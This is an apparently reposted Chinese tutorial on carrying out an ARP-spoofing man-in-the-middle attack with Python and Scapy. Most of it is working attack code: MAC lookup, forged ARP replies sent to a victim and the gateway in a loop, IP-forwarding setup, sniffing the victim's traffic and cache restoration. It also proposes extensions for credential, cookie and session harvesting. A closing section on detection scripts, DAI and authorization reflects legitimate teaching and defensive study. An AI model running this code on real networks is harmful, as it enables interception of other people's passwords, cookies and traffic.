资讯动态

Python实现ARP欺骗中间人攻击:原理、代码与防御实战

发布时间:2026/10/19 9:48:39 来源:尧图企业网站定制
1. 从ARP协议到中间人攻击项目链路完整拆解先说结论这个项目用Python实现ARP欺骗类型的中间人攻击本质上是构建一个“合法”的伪造者角色让局域网内的两台设备都以为你是它们通信路径上的下一跳。听起来很玄乎但拆开看底层原理其实就两条——ARP协议本身不验证身份以及操作系统默认相信收到的ARP应答。把这两点理解透整个项目的骨架就立起来了。先说个生活化的类比。ARP协议在局域网里干的事相当于一个快递员上门问路主机A想知道主机B的网卡地址MAC地址就在局域网上广播一声“谁是192.168.1.100请告诉我你的MAC地址”。正常情况下只有192.168.1.100这台主机会回答“我是我的MAC是XX:XX:XX:XX:XX:XX”其他设备听到这个广播就默默忽略。但有个漏洞任何一台设备都可以抢答。如果有人理直气壮地说“我就是192.168.1.100我的MAC是YY:YY:YY:YY:YY:YY”只要这台设备的主机没有做额外的防护比如ARP静态绑定、DAI动态ARP检测它就会把这个应答记进自己的ARP缓存表里。下次要给192.168.1.100发包全部发给YY:YY这个假地址。中间人攻击要做的事情就是同时欺骗通信的双方。攻击者告诉主机A“我是主机B”又告诉主机B“我是主机A”两边的流量都会先经过攻击者的网卡。这时候攻击者开启IP转发把收到的数据包原封不动地发给真正的接收方通信双方完全察觉不到中间多了一台设备。这个项目选择Python实现原因很直接生态里有现成的网络库Scapy能直接构造和解析ARP报文、数据包不需要自己去处理socket层那些繁琐的字节拼装。用原生socket编程也能做但代码量大概会多出两三倍调试成本也跟着涨。对于学习中间人攻击原理和做防御研究的人来说PythonScapy是性价比最高的组合。这个项目适合谁来学我的判断是正在学网络协议的人做网络安全方向的学生或从业者以及企业里需要排查局域网异常流量、做攻防演练的运维人员。你需要具备的基础是Python基本语法、简单的网络概念IP、MAC、网段不需要你之前写过任何网络相关的程序。老规矩先亮安全底线。文中涉及的所有技术只允许在你自己拥有或获得明确授权的网络环境中使用用途限定为网络安全教学、防御策略验证、安全测试。未经授权对着别人的网络做实验这不是技术问题是法律问题。2. 环境准备与拓扑搭建三台机器就能跑通的实验台动手之前先搭实验环境。我建议最小化拓扑一台攻击机Python代码运行的主机、一台目标A被欺骗的主机、一台目标B被欺骗的另一台主机或者直接是网关。三台设备放在同一个局域网里即可不需要联网不需要路由器配置交换机普通的傻瓜交换机就能跑。2.1 依赖工具与安装清单核心依赖只有两个Python 3.8以上版本以及Scapy库。Scapy是Python生态里最出名的报文构造库支持发送、接收、解析、篡改和重放各种网络数据包。安装命令如下pip install scapy如果内网环境无法直接连到镜像源先配好内部PyPI镜像再执行安装。装完之后验证一下from scapy.all import * print(conf.iface) # 输出当前默认网卡看能不能正常输出网卡信息。能输出说明Scapy关联到了你的网卡基础可用。Windows下还需要确认WinPcap或Npcap驱动已正确安装Scapy发送和捕获数据包依赖这个驱动。Linux/macOS一般不用额外装驱动。2.2 实验网络拓扑与地址规划我建议用例子来说明。假设你的局域网网段是192.168.1.0/24那规划成下面这个结构角色IP地址设备说明攻击机192.168.1.10运行Python脚本Linux宿主机或虚拟机目标A192.168.1.20被欺骗的主机用虚拟机或另一台机子网关192.168.1.1被欺骗的“目标B”即真实路由器为什么要用网关当目标B因为大多数中间人攻击的真实场景里攻击者想要截获的是目标A访问互联网的流量也就是目标A和网关之间的双向流量。把目标B设成网关欺骗同时落在两边目标A发往公网的数据包会先到攻击机再从攻击机转给网关返回的数据包则反方向走一遍。这个链路一旦建立只要配合抓包密码、会话Cookie、明文协议内容全都能看到。2.3 攻击机的IP转发配置Linux攻击机默认不会转发数据包。收到一个目标不是自己网卡地址的数据包时会直接丢弃。所以必须先开启IP转发把攻击机变成一个“路由节点”。临时开启的方法是echo 1 /proc/sys/net/ipv4/ip_forward永久开启则修改 /etc/sysctl.confnet.ipv4.ip_forward 1用sysctl -p使其生效。开启之后攻击机收到目的地址是目标A或网关的数据包时会根据路由表转发出去而不会悄悄丢包。这一步是整条中间人链路能否走通的前提不做的话目标A会直接断网攻击立刻暴露。本质上这就是一个“三角通信”问题数据链路层上目标A认为网关是攻击机的MAC网络层上目标A发出的包目的IP依然写的是网关IP只是目的MAC写成了攻击机MAC。攻击机要做的就是把这种“数据链路层和网络层不一致”的包扛起来按需转交。3. Python核心代码逐模块实现伪造、转发、恢复三个关键环节代码是整篇博文最核心的部分。我按攻击阶段把代码拆成几个模块来讲获取MAC地址、构造ARP应答、持续欺骗、开启转发、恢复网络。每一段都会说明为什么这样写以及踩坑点在哪里。3.1 模块一获取目标的MAC地址发起攻击前必须先知道目标A和网关的真实MAC地址。ARP欺骗的效果是“修改对方ARP缓存里那张IP到MAC的映射表”而伪造ARP应答需要填入自己的MAC地址所以“自己”的MAC必须在攻击机上动态获取另外构造一个合法的ARP应答报文时源MAC字段必须填真实的攻击机MAC而不是乱写。获取本机MAC可以用from scapy.all import get_if_hwaddr my_mac get_if_hwaddr(eth0) # 换成你的网卡名 print(本地MAC:, my_mac)参数里的网卡名可以通过conf.iface直接查也可以运行时打印所有网卡选一个。获取目标A和网关的MAC用ARP请求即可。发一个广播问“谁是这个IP”会拿到ARP响应里的源MACfrom scapy.all import ARP, Ether, srp def get_mac(ip): pkt Ether(dstff:ff:ff:ff:ff:ff) / ARP(pdstip) result srp(pkt, timeout3, verboseFalse)[0] if result: return result[0][1].hwsrc return Nonesrp会发送数据包并等待应答。返回值是一个列表里面元素是发送包和应答包的配对。取应答包result[0][1]的hwsrc字段就是目标的MAC地址。如果结果为空说明目标IP不在线或网络有异常这时不能继续攻击。3.2 模块二构造并发送ARP欺骗报文现在写核心的攻击函数。思路是持续向目标A发送一个伪造的ARP应答宣称“网关IP对应的MAC是攻击机的MAC”同样向网关发送一个伪造的应答宣称“目标A的IP对应的MAC是攻击机的MAC”。from scapy.all import ARP, sendp, get_if_hwaddr def arp_spoof(target_ip, target_mac, spoof_ip, my_mac): pkt Ether(dsttarget_mac) / ARP( op2, pdsttarget_ip, hwdsttarget_mac, psrcspoof_ip, hwsrcmy_mac ) sendp(pkt, verboseFalse)这里有个细节非常关键构造Ether层时dst必须填真实的目标MAC地址是“对方的MAC”不是广播地址。如果用 ff:ff:ff:ff:ff:ff 当目的MAC数据包会当作广播包处理局域网所有设备都会收到欺骗范围瞬间扩大容易暴露自己。而ARP层里的hwsrc必须填攻击机的真实MAC否则即使目标收到包ARP缓存里写入的还是乱写的MAC转发逻辑反而会出问题。接着是循环发送。一次ARP应答只能保证对方在收到的那一刻更新缓存但本机ARP缓存是动态的有超时时间。Linux默认超时很短通常几十秒所以要在后台持续发。实践的节奏是每1.5~2秒发一次间隔太短会大量占cpu和网络间隔太长则会有缓存过期导致欺骗失效的空窗期。3.3 模块三同时欺骗目标A和网关组合调用上面的函数形成双向欺骗import time target_ip 192.168.1.20 gateway_ip 192.168.1.1 target_mac get_mac(target_ip) gateway_mac get_mac(gateway_ip) my_mac get_if_hwaddr(eth0) print(f目标MAC: {target_mac}, 网关MAC: {gateway_mac}) try: while True: arp_spoof(target_ip, target_mac, gateway_ip, my_mac) arp_spoof(gateway_ip, gateway_mac, target_ip, my_mac) time.sleep(2) except KeyboardInterrupt: print(攻击停止正在恢复网络...)实战中我会把这个循环放在一个daemon线程里跑主线程去执行抓包、转发、记录等业务逻辑互不干扰。但教学演示时一个简单的死循环足够说明问题了。3.4 模块四抓包与流量转发验证欺骗成功之后目标A发给网关的数据包已经会先到达攻击机但此刻攻击机系统如果没开启IP转发数据包会被丢弃目标A表现为“断网”。所以要在开启转发的前提下在攻击机上抓包验证。from scapy.all import sniff, IP, TCP def packet_callback(packet): if IP in packet and TCP in packet: src packet[IP].src dst packet[IP].dst if src target_ip or dst target_ip: print(f捕获: {src} - {dst} | 载荷长度: {len(packet)}) sniff(prnpacket_callback, storeFalse)注意sniff默认抓的是到达本机网卡的所有包包括目标A经过攻击机转发的包也包括攻击机自己主动构造的ARP欺骗包。所以回调里要加上IP层判断过滤掉ARP等非IP流量避免控制台被刷屏。如果抓到的是“来自目标A的访问公网流量”说明链路已经通了一半接下来还要反向验证。3.5 模块五恢复机制还原网络正常情况下应该有个退出恢复。在while循环里加except KeyboardInterrupt时或者在脚本退出前发送正常的ARP应答把目标A和网关的ARP缓存更正回来def restore_network(target_ip, target_mac, gateway_ip, gateway_mac): sendp(Ether(dsttarget_mac) / ARP( op2, pdsttarget_ip, hwdsttarget_mac, psrcgateway_ip, hwsrcgateway_mac ), verboseFalse) sendp(Ether(dstgateway_mac) / ARP( op2, pdstgateway_ip, hwdstgateway_mac, psrctarget_ip, hwsrctarget_mac ), verboseFalse)语句里我把ip和mac信息都写进了函数参数里调用时按顺序传入即可。恢复之后目标A会立刻重新学习到真实的网关MAC而不用等ARP缓存自动超时。恢复机制同时是保护自己的手段如果攻击结束后不恢复目标A会一直处于半断网状态很容易被察觉。注意如果攻击机和中途本身又变动过ARP缓存恢复前最好先重新get_mac一下拿到最新真实的网关MAC再发恢复包。网络环境嘈杂时这个细节能避免“恢复失败”。4. 实机验证与效果观测如何确认攻击链路真的生效写完代码不是结束得验证。我有一整套在实验环境中反复跑过的观测流程照做一遍能确认攻击的每个环节是否都真正生效。4.1 攻击前记录目标的ARP缓存在目标A上执行arp -aWindows或ip neighLinux记录当前网关IP对应的MAC。比如$ arp -a 192.168.1.1 at 00:11:22:33:44:55 [ether] on eth0攻击启动后再执行一次arp -a观察结果$ arp -a 192.168.1.1 at 66:77:88:99:aa:bb [ether] on eth0后一个MAC是攻击机的。如果发生了这个变化说明目标A的ARP缓存已经被污染欺骗生效了。同理在网关上如果路由支持登录也能看到目标A的ARP映射变成了攻击机MAC。4.2 攻击中用tcpdump观测转发流量在攻击机上开tcpdump直接观察目标A发出的真实数据包$ tcpdump -i eth0 host 192.168.1.20 -nn如果能看到目标A发出的TCP SYN包、DNS请求、HTTP请求等流量说明数据已经经过攻击机了。我虚拟环境里实测跑过目标A打开浏览器访问一个测试站点tcpdump这边马上能看到一串TCP连接的数据包。这时链路验证结束没有断网说明IP转发生效了。4.3 攻击后验证恢复机制按CtrlC终止脚本后回到目标A再次执行arp -a确认网关MAC已恢复为真实MAC。恢复成功后目标A的HTTP请求不再经过攻击机tcpdump窗口也不再有流量经过。整个“欺骗-流转-恢复”的闭环验证完成。4.4 几个关键参数的调优心得发送间隔我实测2秒一次在普通交换机环境下比较稳。激进一点可以缩短到1秒但CPU占用会明显上升保守一点可以拉到3秒但有些设备对ARP缓存刷新频率敏感3秒会有偶发延迟。是否开启转发攻击测验时开启转发可以让目标完全无感关掉转发则会直接变成拒绝服务式攻击。如果只是想“断网一下然后恢复”不开转发反而是一个更直接的效果。timeout值get_mac的srp超时我通常给3秒局域网内如果3秒内没有回应基本可以放弃这个目标别硬等。5. 常见故障排查与避坑实录实操中遇到的问题是典型的“网络问题合集”我的经验是分成下面几类。5.1 目标完全断网且ARP缓存没被改变这是最常见的的问题。原因很可能是攻击机的IP转发没有开启或者开启了但系统防火墙iptables、ufw、firewalld拦截了转发流量。排查顺序检查 /proc/sys/net/ipv4/ip_forward 是否为1检查防火墙默认转发策略iptables -L -n看FORWARD链是否为DROP检查目标A是否启动了什么ARP抗欺骗防护例如某些安全软件、Windows的ARP静态绑定策略。我的经验是在Linux实验机上如果开了ufw通常需要sudo ufw allow in on eth0 或者直接把ufw关掉做测试。Windows下如果是新版本系统还需要在防火墙里放行Python的入站和转发权限。5.2 欺骗生效但抓不到任何上层协议包ARP缓存被改了目标是往攻击机发流量了但sniff就是没抓到IP包。这种多数是Snapy监听网卡选错了或者使用了包含混杂模式未启用的特定系统。网卡默认只接收“目的MAC是自己”的包但攻击机接收到的这些流量目的MAC确实是自己因为目标A以为网关MAC是攻击机理论上应该能抓到。但有些操作系统默认没有开启混杂模式而目标A发给外网的数据包目的IP不是本机如果IP转发又没开这些包可能在网卡驱动层面被丢弃。解决方法用sniff(ifaceeth0)显式指定网卡并用sniff(prncallback, storeFalse, ifaceeth0)或者在系统里开启混杂模式ip link set eth0 promisc on。另一种可能性是sniff在过滤条件写错了比如回调里的IP判断写错字段可以先打印packet.summary()看看实时抓到的到底是什么。5.3 目标A的流量经过了攻击机但目标A无法上网这跟前文断网问题的区别是ARP缓存正常被改、包确实到了攻击机但同时也丢了。根因通常是转发链路里“路由不对称”。攻击机需要转发数据包时会查自己的路由表如果攻击机只有一个网卡IP、也没有配置NAT/SNAT那么它转发出去的数据包源地址依然是目标A的IP归程数据包回到网关时会继续尝试寻找目标A的ARP。这个思路没问题但前提是网关能够正确ARP到目标A也就是网关那边的缓存已经被攻击机改写。如果网关是某些企业路由器启用了ARP保护、动态ARP检测DAI则欺骗会对网关失败。对策是以网关身份发伪造应答给目标A同时用更缓慢可靠的频率欺骗网关。如果网关无法欺骗整个链路只能做到“单边截获”目标A到公网的流量会被截获但回程流量仍走直连这样离线分析的完整性会被破坏。初学者最容易忽略的一点目标A和攻击机必须在同一个广播域。跨交换机的时候如果交换机开了端口隔离或路由ARP广播虽然会透传但终端的隔离特性会阻断后继流量。实验环境里我把所有设备接到同一个普通交换机下基本没遇到这类问题。5.4 Scapy发送数据包报PermissionErrorScapy构造ARP数据包需要原始套接字权限。在Linux上普通用户执行会报权限错误必须加sudo运行。Windows上对应的是使用管理员权限运行命令行。这个问题甚至会导致刚安装完Scapy但sendp永远没反应误以为是网卡驱动问题。提示在Linux下建议直接sudo python3 arp_spoof.py运行全部测试。另外如果你要用流量转发iptables -t nat的链可能还需要额外配置但本项目实验环境里只要开启ip_forward就能通。6. 防御视角与合法边界被攻击方如何自检与应对讲完攻击实现再从防御角度聊几句。一个合格的网络安全学习者应该同时理解攻击和防御两个维度。6.1 检测ARP欺骗的常见思路网络里出现ARP欺骗时有几个特征可以被监控到同一IP对应两个不同MACARP缓存表里出现IP地址相同但MAC不同的记录ARP应答频率异常正常情况下一个IP不会频繁发送ARP应答包如果看到某个MAC在局域网内大量发送ARP应答有欺骗嫌疑网关MAC发生变化用arp -a看到网关MAC变成了一个陌生地址说明已经被污染。检测脚本的简易实现思路是周期性主动查询局域网内每个IP的真实MAC例如用ARP请求向所有活跃IP发探测包并维护一张IP-MAC映射表一旦发现同一个IP被映射到不同MAC立即报警。from scapy.all import ARP, Ether, srp import time known_mac {} def scan_network(ip_base192.168.1.0/24): pkt Ether(dstff:ff:ff:ff:ff:ff) / ARP(pdstip_base) ans, _ srp(pkt, timeout2, verboseFalse) for sent, recv in ans: ip recv.psrc mac recv.hwsrc if ip in known_mac and known_mac[ip] ! mac: print(f[告警] IP {ip} MAC变更: {known_mac[ip]} - {mac}) known_mac[ip] mac while True: scan_network() time.sleep(10)这个脚本在实验网里跑能直接抓到攻击机的MAC地址变化。企业网络里更完善的方案是使用交换机的DAI功能或在关键主机上做网关的ARP静态绑定。6.2 合法使用的边界授权到底指什么必须把授权这件事说透。授权不是口头说一句“我做测试”就算数。有效的授权至少包括你拥有网络资产的处置权或者与你达成书面协议的委托方明确允许对指定的系统做此类测试。测试范围也要限定在指定网段、指定时间段、指定内容。超出这个范围的任何行为哪怕出于好奇都不属于技术讨论范畴。在实际的渗透测试项目中ARP中间人攻击只是入口之一通常用来截获认证信息、进行会话劫持或配合更高级的流量分析。但这类手法在合规要求极严的环境下并不常直接使用——一旦涉及真实生产的网络流量数据泄漏风险和法律后果都很难控制。我强烈建议所有实验都放在虚拟化平台本地虚拟机、隔离的物理网络里做不要拿公司办公网、校园网直接搭台子。6.3 这个项目的扩展方向基于这个基础demo值得继续做下去的方向有几个流量数据定向分析例如从截获的HTTP流量里解析身份凭据、Cookie双向劫持TCP会话配合TCP序列号嗅探实现连接劫持结合DNS欺骗钩子把目标域名解析DNS请求改为攻击机IP做成更完整的持久化攻击框架加入多线程、日志持久化、远端控制接口。但如果要让我给一个“接下来值得做”的优先级建议我更推荐先补一遍TCP/IP协议栈基础把“为什么IP转发能通”这件事吃透再往上层协议走。网络层原理不清做的越多代码越危险。我个人实验的体会是这套代码真正有价值的地方不是你跑通了ARP欺骗而是你能在跑通之后重新审视“信任”这个概念——ARP协议为什么信任一个广播包你的设备为什么信任某个MAC而交换机凭什么不拦截每个问题打开来看都是一整块网络安全的入门基石。这个项目的意义在于它帮你把这些基石用最直观的方式挖出来了。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑